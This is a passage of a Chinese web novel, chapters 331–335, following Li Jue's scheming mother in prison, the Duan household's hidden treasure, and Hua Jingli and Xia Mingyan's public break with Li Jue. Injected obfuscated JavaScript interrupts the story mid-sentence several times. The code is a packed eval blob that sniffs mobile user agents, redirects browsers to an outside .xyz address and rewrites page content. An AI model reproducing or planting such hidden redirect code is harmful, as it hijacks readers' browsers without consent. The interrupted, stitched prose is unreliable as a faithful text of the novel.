华靖和这边办好了手续,就跟着几个护卫回府去了,他没有留意到李玦这时候又绕了回去,说是要给何夫人送些衣物。 张礼岁倒是准的痛快,没要他什么打点就放了他进去见何夫人。 何夫人被关进了一间特殊的牢房,这牢房有铁栅栏,但里面与前头看守的狱卒住的班房差不多,里面有木头做的榻,还有桌子和洗漱的脸盆等物,倒是也算干净。 李玦送了铺盖和几件换洗、保暖的衣裳过来,向着何夫人郑重行礼: “苦了母亲了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759663|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是儿子的错。要不是我那时眼见着华靖离掌了北疆大权,我却迟迟没有出路,太过苦闷,也不会跟吕家娘子有过那么一段,也不曾告知母亲。” 何夫人脸色很是不好,不过谁让她只有这么一个儿子呢,她心里的狠和恨也只会对着别人: “行了,都是过去的事了,这事儿也怨我,之前发现的时候就该告诉你的。我想着自己料理了便罢了,谁能想到明月这个蠢货设计华靖和用的这个人,竟然是孩子的生母。” “我不信这世上有这样的巧合,要让华靖和在擢选上颜面扫地,他一身的毛病,抓出哪个来都能大做文章,怎么就偏偏选了这一件?” “你回去之后,等她冷静下来,你好好问问她,看看是不是有什么人引诱着她这么做的?我猜一定是华靖离,也说不准有她的那位好夫人。” “刚才公堂之上,我看着那对儿夫妻就难受,呵,一唱一和的,也就明月那蠢货被唬住了。尤其是华靖离,他八成早就想跟你**了,这回好不容易找到机会了,这还多亏了你那位好妻子!” 何夫人现在恨不得一口咬死华靖离和夏明嫣,再把夏明月的脖子咬断,再把她的血都放干。 前头两个是设局害了他们的人,后面这个是他们娶进门的蠢货……这么一个蠢货,当初怎么就娶回家了呢? “母亲,都是儿子的错。明月她是被夏家宠坏了,从前也低估了她这位长姐,才会如此。等我回去开导开导她,她会好起来的。” 李玦对夏明月还有感情,刚才公堂上厮打时他的确动了和离的念头,可是回去了一趟,冷静下来,他又觉得也不是不能接受了。 毕竟夏明月也是昨晚才知道外头有了这么个孩子的,一大早出门的时候,又遇到李家那些亲族、下人围着他们打听,心里哪有不恼怒的。 夏明月就是被这件事激着了,才会有了后续一连串的不理智,这里面又牵扯到当**,又是她不知道的,都赶到一块儿去了…… 第331章母子算计 夏明月这个人冲动、易怒,也喜欢用家族的力量算计人,可就是因为家里能为她做得太多,要靠她自己想出来一个复杂些的计谋是很难办到的。 瞒着她那么大一件事,公堂之上不好解释,加上吕家和孩子的事儿,难怪她不发疯。 而且李玦回来的路上也反思了一下,有些话夏明嫣、夏明月说得也对,他母亲只信任自家人,让他娶的、纳的都是他的表妹,这传出去的确不好听。 就好像他们表兄妹之间从前就有了首尾似的,其实真没有,他是一个爱惜羽翼的人,要是真跟自己的表妹们传出这种事,他还怎么娶高门贵女? 有一点何夫人没错,对于他们来说,这些亲戚家的人经过了几十年的患难与共,的确是最可靠的,可是事到如今,光可靠没有用,他们端侯府是要借势而上的! 因此他不会为了这些亲戚家的姑娘影响了自己的名声,这就造成了这邓澜的确不好安置了,他的确不好再纳邓澜。 不过本来在他娶了夏明月之后,邓澜这门亲事的确就作罢了,他没打算纳邓澜为妾,邓父也不会让邓澜来受夏明月的气。 要不是今日突然被华靖离和夏明嫣搬到公堂上来,并且当中提出要纳邓澜进华家,他也不会表现出对邓澜有情,更是不会说出要纳邓澜为妾这样的话。 本来在夏明嫣那儿已经试图用过一回贬妻为妾的伎俩了,他跟邓澜也有过婚约,现在要让邓澜给他做妾,何尝不是又一次贬妻为妾。 要纳邓澜为妾,那就是坐实他是一个惯会使这般伎俩的人,可就坐实了他的罪名了。 何夫人当时要不是被逼急了,也不会说出那些没脸没皮的话,他们原本的打算是借着邓澜身子弱,就想法子不让她嫁人了,直接养在端侯府里,算是客居的亲戚。 再要么就过些年,寻个身边可靠的人,让邓澜嫁了,再把他们夫妻二人控制在端侯府的势力范围内,这样才又安全又体面。 李玦这时候有点怨何夫人,刚才明明可以说他们帮邓澜在老家说了亲了,先把这件事拖延下来再说,怎么就又说起要让邓澜给他做贵妾了? 何夫人这么说就是在火上浇油,难怪夏明月会发那么大的火儿,还有另一件事夏明月和夏明嫣说得也对,何夫人不打算把中馈交给夏明月。 就算何夫人之后会被关入寺中思过或是被流放至边地,这掌家之权她似乎还是不打算交给夏明月,可是夏家不是好糊弄的,现在不舍这掌家之权好像也不行了…… 李玦叹了口气道:“母亲,您当时就不该那么说,本来咱们也没打算纳邓表妹为妾,现在倒是显得我们里外不是人了。” “邓表妹那边应该很快就要进钩翊侯府了,以后怕是见一面都难,还不知道该如何安抚。明月这儿,今日惹恼了她,用不了多久岳父、岳母也会知道,这件事也必须有一个交代。” “我看,既然母亲日后无法再执掌中馈,不如就交给明月吧。她既然已经是我的妻子了,那件事也该让她知道了,我得让她觉得我值得她信任,她以后才能跟我共同承担风雨。” 何夫人打量着自己的儿子,她还是把这个儿子保护得太好了: “那件事夏、楚两家知道得尚且不够完全,你要是说些没那么重要的,夏庸和楚氏也能告诉她。你要是把重要的告诉她,包括我被逼急了为何就要让你纳了阿澜,你就不怕她告诉夏庸和楚氏?” “还有,从前瞧着她和华侯夫人之间没什么姐妹之情,可你看看今日公堂之上,她们都做了什么?关键时候人家还是姐妹一心的。” “万一明月把这件事告诉了华侯夫人,那些话又传到了华侯那儿,他们再去逼问阿澜和你姨夫,那又当如何?” 李玦脸色一白,不得不点头:“母亲思虑周全,那件事还是不能向明月坦诚,可是这样以来……中馈要不就交到她手上吧,也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767359|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一重安抚,横竖府里重要的东西都不在明处。” “这倒是可以,暗中的东西你交给雨萍就是了,这里面的事儿来之前我已经交待给她了。以后你主外,她管着暗中的事儿。” 何夫人想到夏明月,眼中便露出不屑的神色,“明月冲动、愚蠢,心眼儿还小,你得想想怎么利用她这样的性子,把不好的变成好的。” “以后你想让外人看到的,反而可以用一用她这性子,通过她宣扬出去。姑且把明面上的那点儿东西给她,也让她摆摆当家主母的谱儿,暗中的东西不要让她碰了。” “要让我说,当时要是不悔婚,把华侯夫人娶回来倒也好了,她倒是能担得起这个家。或是当初听我的,让她做个贵妾,让阿澜做正妻。” “这样邓家的秘密保住了,还有华侯夫人那样的人佐助家业,明月即便嫁给了别人,心也在你身上,你将来需要她帮忙,她难道还会不帮?她要是嫁到了华家,还能做你的内应……现在全都乱了。” 自从老端侯过世之后,何夫人一个女子担着那么的秘密和家族振兴大业,她想要蛰伏下去以待来日,就得抓住身边一切可以抓住的力量。 不是她非得让李玦跟这些亲戚家的姑娘们扯上关系,而是在过去很长一段时间里,他们母子所能依靠的只有那些亲戚。 日子久了,他们跟这些亲戚、故旧的关系已经牢不可分了,一方面这些人可以用,另一方面这些人得安抚。 可是他们有什么能拿来安抚这些亲戚、故旧呢? 海里的东西拿不出来,李玦又没有官职,他们能拿得出手的只有联姻和一个可以期待的将来了。 换句话说,李玦眼下只能靠娶她们,才能安抚住她们背后的家族。 要是换了别人,这种情况下就算想联姻也未必就能行,好在李玦生了一副好皮囊,又在几家之间周旋求存,终于走到了马上就要袭爵的这一步。 第332章不能交托大事 对于这些已经沦为破落户的亲戚、故旧来说,勋贵之家是比一般的官宦之家更有吸引力的,有了联姻这层关系,他们才能继续互相扶持着走下去。 何夫人当然也不想自己的儿子利用皮相达成目的,这就像女子以色侍人一样,可这是没有办法的事啊。 原本何夫人想将夏明嫣贬妻为妾,也并非单纯地想要羞辱夏家,她只是觉得让邓澜做正室,更能保证邓父对端侯府继续忠心下去。 而且何夫人料定了楚氏和夏庸的心思,他们不敢跟端侯府**,还想知道那件事的进展,即便夏明嫣嫁过来只能做个贵妾,他们也不会不答应,尤其夏明嫣这个女儿在他们心里根本什么都不是。 这样的话,夏明月即使嫁到了华家去,李玦也可以说是因为娶不到她,才将她的长姐贬妻为妾的。 这样夏明月就算不像原先那般对他死心塌地,也会对他旧情难忘,真需要她帮忙的时候,她不会拒绝,还能帮着他们给华靖离吹枕头风…… 李玦倒是对何夫人这样的安排有些不满,他从前对夏明嫣全无感觉,现在倒是也承认了夏明嫣不仅比夏明月生得还要多几分颜色,心性和聪慧上更是高出夏明月不少。 可是他始终觉得夏明嫣的性子不适合他,他不想要一个随时都可能算得过她的人做枕边人,这样相比起来,他还是觉得夏明月这样笨笨傻傻的更能让他放心。 他喜欢看夏明月仰视他的样子,何况他相信夏明月在得知实情之后,是会变好的。 李玦有些歉疚地看着何夫人,将心中的质疑说了出来:“母亲,您觉得现在华靖离究竟知道多少?他们会不会已经察觉到那些东西的存在了?” 何夫人在一旁木板搭制的榻上坐下,又想了想才摇了头,压低了声音道: “刚才你们走了之后,我就在想这件事……应该没有,若是有,他们反而不敢也不会纳阿澜进府了。阿澜的父亲知道东西在哪儿这事儿没有外人知道,就是朝廷的暗探也不知道。” “不过这并不意味着那些暗探没有盯上他们,要是华靖离知道了他们身上有这么大的事儿,他还敢纳了阿澜?那不就是在昭显他的野心么?华侯夫人弄得那个云翠居,刚为他扭转了风评,现在在来这么一出,之前做的那些可就成了假仁假义了。” “他们就算怀疑阿澜和她父亲身上有事儿,也怀疑不到这件事儿上。可是日子久了,就不好说了,万一阿澜在华家过得好,难保她父亲不会全盘托付出去。” 毕竟夏明嫣不是夏明月那样的妒妇,邓澜也不是那般靠耍心机手段的小妇,就算装,这二人也是能相处得不错的。 日子过得好了,邓父又只有这么一个女儿,将来再生上几个孩子,难保邓父不会吐露实情,甚至把夏家人带到那边海上也不无可能。 李玦皱眉沉思着道:“母亲,既然如此,一直瞒着明月是不是有些不妥?您也说了,这次的事儿单凭明月善妒是到不了这一步的,这里面必定有她长姐和华靖离的暗示和引诱。” “要是华靖离早一步知道了里面的事儿,再想法子告诉了明月,只怕明月会更加愤怒。还有何小娘那儿,她毕竟是自家人,我们之间有足够的信任,何家那边我们也已经给他们撑腰了,给他们更多,他们也给不了我们什么。” “反倒是夏家、楚家,他们都能猜到那些东西还在,只是不知道是谁掌握着具体的位置,他们心里有了惦记的东西,具体的却什么都不知道,反而会跟我们疏远了。我们现在要依靠的,毕竟还是夏、楚两家。” “我是怕明月会成为将这道裂缝撕得更大的那个人,要不还是让她跟何小娘一起管着家里那些东西吧,只要给她机会,她还是能担得起事儿的……” 李玦这么说不仅是因为他对夏明月有感情,看看这次的事儿就知道了,要是何夫人早点把吕家大姑娘和孩子的事儿说出来,让夏明月把活儿发在府里了,到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772239|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面,她是能识大体的。 再不济,只要前头把话说通了,夏明月至少不至于跟夏明嫣联手,把端侯府最后一点脸面都撕了下来。 而且李玦对何夫人在所有重要的事情上都用这些自己人已经有所不满了,只因这些自己人其实都是何夫人娘家那边的亲戚,就是李姑母这样的,也只能在府里制衡一下夏明月,别的重要的事儿,平日里半点都不让他们沾手。 李玦这些年也笼络了一些人,哪个都比何家的这些亲戚有才干,也都对他很忠心,可偏偏何夫人就是不肯用他们。 这些人一直没被派上用场,日子久了,也就变成酒肉朋友,他自己的心腹也很难培植起来,这样的局面之前,他越来越举步维艰。 李玦期待着一个肯定的答案,却等来了何夫人一声冷笑:“阿玦,你父亲当年含恨而终,那时你虽然还小,可也到了记事儿的年纪了,你该记得那时候楚、夏两家对咱们和陆家是什么态度。” “是你几位姨夫、姨母与咱们站在了一起,就是你李姑母都是后来做了寡妇才投上来的,你做人可不能忘本!对楚、夏两家,你可以利用他们,却不能信任他们,尤其不能让他们知道这么重要的秘密。” “我已经想过了,华靖离即便知道些什么,那也是以后的事儿了。况且他没人、没船,也不懂那海底勘察、取物的法子,他就算知道了,他也拿不出来。” “何况过上几年,阿澜在他府上就站稳脚了,他知道了,就算想告诉朝廷,也会担心被追究现在的知情不报的罪责,他怎敢拿阖家老小的性命做赌注。” “他若有法子取出来,还想占为己有,咱们在那边的人也不是吃素的,传个信回来,咱们也可以先发制人,告他华靖离据宝谋逆,他一样要掉脑袋。” “你不必为了拉拢明月,就把这么重要的事托付给她。像她这样的女人,你心仪她,让她给你生儿育女便罢了,这样的大事她不成。” 第333章各自走下去 “母亲……”李玦还想说什么。 何夫人一抬手便打断了他:“这件事不必再说了,先不说你跟她成亲的时日尚短,就算她日后有了你的子嗣,就凭她这性子,她只会想着将那些东西据为己有。” “阿玦,我们是借了夏家的势了,可他们当年也欠我们的,何况你想被他们压一辈子么?就像今日他们在堂上说的,将来你得有自己的东西,不能被人说你是靠着女人的裙带爬上去的。” “明月这个性子,即便将来你不靠着她了,她尚且有的说嘴,何况这些东西落到她的手里之后……阿玦,你是要成大事的人,切不可在这种事上犯糊涂。” 李玦到底拗不过何夫人,只得应下:“母亲,我知道了,就按您说的做,我会将暗中的家业交给何小娘打理。” 何夫人松了口气,她的儿子到底还是听她的:“还有钩翊侯府那边,你先稳住阿澜,料想他们也不会那么快就信任华家人,这中间还大有可为。” “华家为了留子嗣,定然不止纳她这一房妾室,只要她在里面过得不好,她迟早还是会倒向咱们的。这里面大有文章可做,你倒是可以通过明月想想法子。” “还有你邓姨夫那儿,你也让人常去看看,把人看住了。秘密在他心里,他为了保护阿澜,定是没有说的。你看住了他,就等于看住了秘密。” “你去吧,不必管我。我要是被关进寺中苦修,那是我的造化。若是被流放,你想想法子,让我去南边儿……” 到了流放之地之后便是分地耕种,日子过得苦一些,可要是有人打点好了,每年点卯的时候有人报上去说人就在那儿的,倒也未必就有人查。 何夫人就可以借此去端侯府位于南疆的地盘,正好督促着那些人快些把探海索和大船打造出来,早日把那些东西取出来。 李玦心里纵使有很多话想说,此时都化作了一礼。他跪下向何夫人磕了头,母子二人都知道将来见面的机会不会太多了。 李玦多少有些不适应,这还是他有生之年头一回要跟何夫人分开这么久,从前他们母子相依为命,虽然他渐渐厌烦了何夫人对他的严厉和**,可想到以后的路,他究竟是怀念这份母子之情的。 尤其是之后,为了还能袭爵,他还得用尽一切方法表明立场、大义灭亲,谴责何夫人的不是……这就像一把刀子插在了他的心口上。 李玦只觉得烦透了,可等他再次出了元京府的大门,那种烦躁的情绪就更盛了,因为华靖离和夏明嫣找来的那几个说书匠速度奇快,现在街上的茶肆里已经开始有人在说“钩翊侯割袍断义”了。 他恨不得钻到地缝里去,好不容易回了端侯府,以为夏明月已经冷静下来了,要跟他商量后续的事儿了。 谁知道他一回去就发现自己的书房、库房都被翻了个遍,值点银子的细软都被她登记造册放到了自己的库房里,说是这样他才能不在外面养外室。 而那孩子被送到了管家那儿住着,他要拨人拨东西给孩子使,夏明月就说没有,弄得他只能去找何雨萍。 可是李玦再受不了夏明月,他也得先袭爵,没法子,他只能顶着骂名和一身寒酸去夏家向夏庸和楚氏请罪,这又是闹了一通。 楚氏没想到华靖离竟然跟李玦当堂割袍断义,连个缓冲的时间都没给,她想找夏明嫣来训斥一顿,让夏明嫣想写法子消弭一些影响,夏明嫣却推说府里准备进新人,她这个主母实在太忙了,回不去。 楚氏这时候想起来去找沈小娘呢,却被告知沈小娘连带着她住着的那个庄子都被朱老太太送给钩翊侯府了,沈小娘还回老家省亲去了。 她一时无法,这才意识到夏明嫣竟然只用了一个多月的工夫就脱离了她的掌控,她自是气不打一处来,可事已至此,那又如何呢? 好在当初想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777238|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿捏夏明嫣,倒也没指望着她派上太大的用场,现如今夏家也正是兴盛的时候,夏庸最近还得了宫里的赏赐。因此,她和夏庸倒也没工夫去追究夏明嫣什么了,只让人去把沈小娘寻回来。 而楚氏也把在矿场的画扇寻了回来,她想着画扇母女之前是因为偷窃夏明嫣旧物的事儿被赶出府去的,对夏明嫣定然有恨。 如今霞姑姑已经在矿场嫁了人了,之前跟陆家联系的路子如今已经被她占为己有,她就当给这对儿母女一个甜枣,再让霞姑姑的女儿为她所用也是好的。 楚氏丝毫不知,早在霞姑姑和画扇被送往矿场前的那个晚上,夏明嫣跟她们两个有过一番长谈,已经改变了这两个人后半生的命运和所思所想。 回到夏家,看着回门时依然盛气凌人的夏明月,画扇背地里露出了阴冷的眼神,明明她们都不是夏家的根苗,还都是同父所出,凭什么夏明月就可以鸠占鹊巢当尚书府千金,而她就得为奴为婢还得跟生母一起被卖到矿场去? 只是这一回画扇学聪明了,从前她在夏明嫣身边时会仗着自己是主子身边的老人了,就对比她地位低的不屑一顾,这回她回来了,则是处处与人为善,把身边的每一人都哄得好好的……这些都是后话了。 先说说从元京府出来后的第二日,夏明嫣和华靖离坐上马车在城里闲逛,就是想听听外头的人是怎么说的,也顺便安排了吕广营和李姑母见了一面。 坐在马车上,夏明嫣不错眼地看着华靖离,好一会儿了才问道:“一会儿你可要出去走走?如今你可是元京一景了,谁都想看看‘钩翊侯割袍断义’的角儿呢。” 华靖离正在看南边寨子里来的书信,派去的人回信说了,夏明嫣通过云萃居和退军家眷张罗起来的那摊子药材、丸药、酱菜,很受那边寨民的欢迎。 先就是那些丸药特别对症,能缓解、祛除瘴气和湿气带来的症状。 第334章看热闹去 再就是当地缺盐,单独运盐过去,一般的盐商嫌翻山越岭的赚得少,盐还容易受潮,都不愿意去。 反倒是那些酱菜,不怕受潮,好搬运,因为搭配了方子腌制出来的味道着实不错,卖的价儿也不算低。 这倒不是说那些寨子有多有钱,而是跟他们交易可以以物易物。 寨子里附近的山上不仅产一些特殊的药材,还能找到一些奇珍异兽,再还有一些坚硬或好看的矿石。路不通的时候,那些东西运不出去,他们收了去,倒是能卖一些银子。 于是,寨子这边倒也没向预想的亏了那么多银子,银子大多花在通路、通商和教养年轻寨民上。 这件事华靖离之前进宫时已经和圣上禀明了,还特意问了太子谢维的意见,谢维原本对这样的事不敢兴趣,可一听华靖离竟然愿意跟他商量,竟然满口答应,还愿意拿出一些东宫的积蓄来做私人资助。 为了让宫里这两位放心,那送去教寨民识文断字、使用农具、种田和药材的师傅,也先让他们指定。 因着这些地方太苦,他们没有人选,华靖离就带着谢维亲自去选人,一路上华靖离一改在朝堂上的严肃,讲起在北疆时的种种,谢维听得一愣一愣的。 一趟跑下来,这人选是从工部的普通匠人里选的,农人是司农署下面农人的子弟,都不是特定的谁的人,但谢维很满意,这些天听说了华靖离跟李玦割袍断义的事儿,竟然主动邀请华靖离一起去御苑围猎。 那些个工匠、农人去了之后因为语言不通,着实吃了些苦,可是现在正是干劲儿十足的时候,他们的家眷也安顿得好,总之那边整体的势头是在向上走的…… 华靖离将信递到夏明嫣手上,有些赧然地笑了一下:“去,当然要去。被他的人说了这么多年,这回轮到我了,岂不得好好体悟一下这种感觉?” “你不知道,在元京府的时候,我就在想,还好这辈子我娶的是你,不然能如上辈子一般跟夏明月老死不相往来,都算是烧了高香了。” “明嫣,谢谢你,要不是有你,我大概还会忍上几年再发作。可等到那时,有没有这般举重若轻的机会可就不好说了。你是我的福星,也是我们华家的福星。” 想要割袍断义,不是找件他对不起你的大事儿就可以的,因为华靖离的身份、地位特殊,这事儿小了不行,太大了也不行。 小了,人们会说华侯刻薄寡恩、不念旧日兄弟情义,自己战功赫赫了,不想让自己的兄弟沾光,就借着一点小事发作。 这种名声传回军中去影响很不好,毕竟那些兵将也是兄弟,只是没有结拜过罢了,难免有人会推己及人、兔死狐悲。他们一旦怀疑华靖离有一天也可能跟他们撇清关系,埋下了怀疑的种子,日后到了关键时刻,这件事产生的影响是不可估量的。 可这件事要是太大了,又难免会加深圣上尤其是谢维对华靖离的忌惮,更容易被人利用、借题发挥。 现在借着华靖和这件事跟李玦划清界限则恰到好处,因为整件事都是华靖和一个人的事儿,他还是被冤枉的,华靖离也没有以势压人或是谋私,事情闹得再大,他们也是苦主。 而华靖离从前长年在外,疏忽了家里的庶弟,这一回发现自家亲弟被李玦这个义弟带着自己的妻子一块儿冤枉,他担心自家亲弟的安危,为了维护家族名誉,忍无可忍之下才做出了这件事,实在是被逼得没有办法了。 再有,就是他报复的手段,要是这样的事发生在别人家里,哦,你表面上跟我亲如兄弟还求着我安排你的前程呢,暗地里却害我的亲兄弟和家族,不说两族械斗了,至少得上个折子把对方参个底朝天吧? 可是华景离只是找了一群说书的到处说一个割袍断义的故事,这还是因为从前李玦同样找说书的造过势,说他们兄弟间如何的好,他李玦如何的有靠山。 比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781249|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起李玦那些说书匠口中的夸大之辞,华靖离这帮人就实诚多了,基本上用的都是那天公堂上大家的原话。 当日元京府中不止有堂上那些人,后来动静闹大了,府衙里的衙役、杂役,甚至后头牢房里能走开一会儿的人手都跑到院子里、廊子下听热闹去了。 这些人散衙之后,就被亲朋好友和外头的点头之交追问了,这些人别的倒不好多说,可谁让那些说书匠说的太详细了呢,他们只需要点头或摇头,再或者说个是或不是,就可以了。 于是,不到一天工夫,全元京的人都知道了,那些说书匠说的都是真的,而且一点都不夸张! 夏明嫣接过他递来的信,故意往旁边挪了挪,离他远了些:“没想到堂堂钩翊侯私下里还是个会这般夸赞女眷的人,成婚还不到两个月,就夸了我不知多少回了。” “而且你也太自大了些,就算夏明月这辈子还是嫁给了你,她同样也是重活一世,还能老老实实地被你关进家庙去?想老死不相往来,没我配合你,你还真未必办得了她!” 华靖和的事儿能这么顺利,不仅是因为华靖离处置轻重得当,也不仅仅是因为夏明嫣之前就提醒了华靖离要把华靖和这个唯一的弟弟拉拔起来、看顾好了,还因为夏明嫣之前就将董氏拉到了他们这一边,就是卜小娘这一回也没添乱。 华家女眷连带着内宅拧成一股绳,在这次的事件里功不可没,可不是一两个人之力就把事儿办成了的。 要是没有这些提前做好的铺陈准备,临到事头上,只会步步捉襟见肘。华靖离在沙场上再善谋善断、运筹帷幄,他不了解女人的心思。 而夏明月也好,董氏、楚氏、卜小娘也罢,她们用的都是纯纯的女子心思,夏明月占着重生的先机,要是把这几个人都盘活了,华靖离可是要吃大亏的。 这些个不擅长内宅缠斗的人,别管在外面过得多风光,回来了都得吃瘪。 第335章相爷有请 夏明月在内宅之事上再不擅长,她也可以把全副心力放在上面,比起华靖离这种半只眼睛都未必能分过来的,还是更有胜算的。 华靖离一拍脑门,恍然大悟后又觉得哪里不对:“是啊,她怎会乖乖地进家庙?可是她也怕了像上辈子那样被关在家庙里了,那可是近十年啊,她聪明点就该答应与我和离,再去婚嫁。” “可是这元京的侯门公子但凡能袭爵的,要么年纪相差很大,要么便是有正室的,她要想立刻就找个侯夫人当当,恐怕还是得找上李玦。” “她若嫁了我,你们便没有换亲,以你的本事,先前身世的脏水这辈子应该泼不到你身上,那你便是李玦的正室,那她还是会去为难你……” 要是没有换亲,如今可能他们面对的就是这般情形了。 华靖离想着,要是这样,他想把夏明嫣从端侯府主母的位子上弄出来还是要花些时日的,这段日子要是夏明月回去折腾着李玦休妻再娶定会扰得他不得清净,那他是不是该晚些和离,借此拖住夏明月呢? 夏明嫣也想到了这些,两个人默契地对视了一眼,眼中都带着笑意。 眼看着瓦肆就要到了,华靖离平日里很少去这般热闹的地方,待马车停下,他自己倒先好奇起来,拉起夏明嫣就要下车。 谁知二人脚刚落地,郭林就过来通报,他看了眼远处的马车,低声道:“侯爷,夫人,楚相有情,说是在瓦子里的天字号雅房。” 华靖离抬眸往那马车方向看了一眼,眸光一黯,楚相楚霆孝年事已高、致仕在即,这两年已经不轻易上朝了。 不上朝,楚霆孝也并非在元京相府中躲清闲,而是四处微服出巡,打着体察民情的名号,说是为圣人做耳目,实则暗中早有图谋。 若非有上一世的经历和这一世对楚、陆、夏和端侯府李氏四家的了解,华靖离也不敢这么说,知道了这些之后,要说楚家没有点想法那是不可能的。 这四家里,端侯府掌握着那批宝物,陆家在彭州苦寒之地积蓄人马,夏家坐镇兵部,看起来夏庸是个和事佬,平衡各方势力,其实到了关键时候,他这个位置是最能接触到军马粮饷和朝廷人马的调度的。 这楚家自然也在运筹帷幄,楚霆孝的两个儿子都在朝中为官,平日里虽然飞扬跋扈,却也没有大的恶行,如今想来更像是耳目…… 楚霆孝这时找上他们,不可能是来服软的,更不可能是来跟他们共谋的,难不成是来为自己的外孙女婿出头的? 夏明嫣低声道:“李玦在他眼里未必有那么重要,可是端侯府却是重要的,他们是盟友。” 华靖离微微颔首:“我那时伤重不治才听闻陆家暗中集结了人马意图攻入元京,就是不知道这位楚相这些年微服出巡究竟去了哪里,是不是跟南边那位常王有关?” “看看不就知道了。” 夏明嫣笑着将手指搭在华靖离掌心上,二人相携入了瓦肆,引来一众人等围观询问。 这是元京最大的瓦肆,不仅有城中最好的歌舞姬和说书匠,也是城中最大的酒肆,元京顶尖的那几个高门大户都在里面留有专属的雅房。 像华靖离这种长年不再元京的又不好此道的倒是没有,这瓦肆又是他在北疆那几年才新起来的,如今带着夏明嫣过来,二人都是头一遭。 夏明嫣这两世都没来过这种事声色犬马的地方,尤其瓦肆中庭的戏台上此时正有几个衣衫松散的年轻男子一手拿着盾、一手木刀跳着大面舞,他们肩头的衣衫被汗水湿润,面具刻意做大了眼部的孔洞,让他们的眼神更加明显。 这舞要是军中为了鼓舞士气儿跳,自然是威武而刚硬的,而在这瓦肆中被这些人一跳不仅多了许多的诱惑之气,甚至还多了几分妖媚之气。 夏明嫣还没见过这样的男子,一时间竟看傻了眼,而她眼睛一转,就看到台下的看客许多都是女子,而当中还有几位眼熟的贵女和贵夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781250|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 啊啊啊,她这两辈子到底少享受了多少快乐啊! 华靖离瞧她这副样子,伸手就把她眼睛挡住了:“这种东西,看多了长针眼。你要是想看,我……我也不会,请个武戏班子看看也是一样的。” “这舞都被他们跳坏了,军中的舞哪里能给他们拿来如此取乐。回头我得跟张大人和岳父好生说道说道……” 夏明嫣原本只是看得眼睛发亮,这会儿看他这副急头白脸的样子,直接笑了出来: “不看就不看,也就是看个新鲜,还不如夫君舞剑好看呢。不过这事儿你可别去说,这元京的人刚刚才觉得你不是那般英武宛若神祗、不近人情的,身上才刚有点儿烟火气,可别又消散了。” 这人要是太没有烟火气,太没有弱点了,反而会叫人不放心。 就像前世的华靖离,不贪钱财,不近女色,连家里的妻妾都不亲近,还没有子嗣,浑身上下都写着刚正不阿、坚强不屈,简直就要到了无懈可击的地步了。 这样的人别说谢维不信任他,到了后面,就是对他一向信任的当今圣上对他的态度也有了转变,不然最后也闹不到那般地步。尤其是谢维继位之后,对他就更不好了。 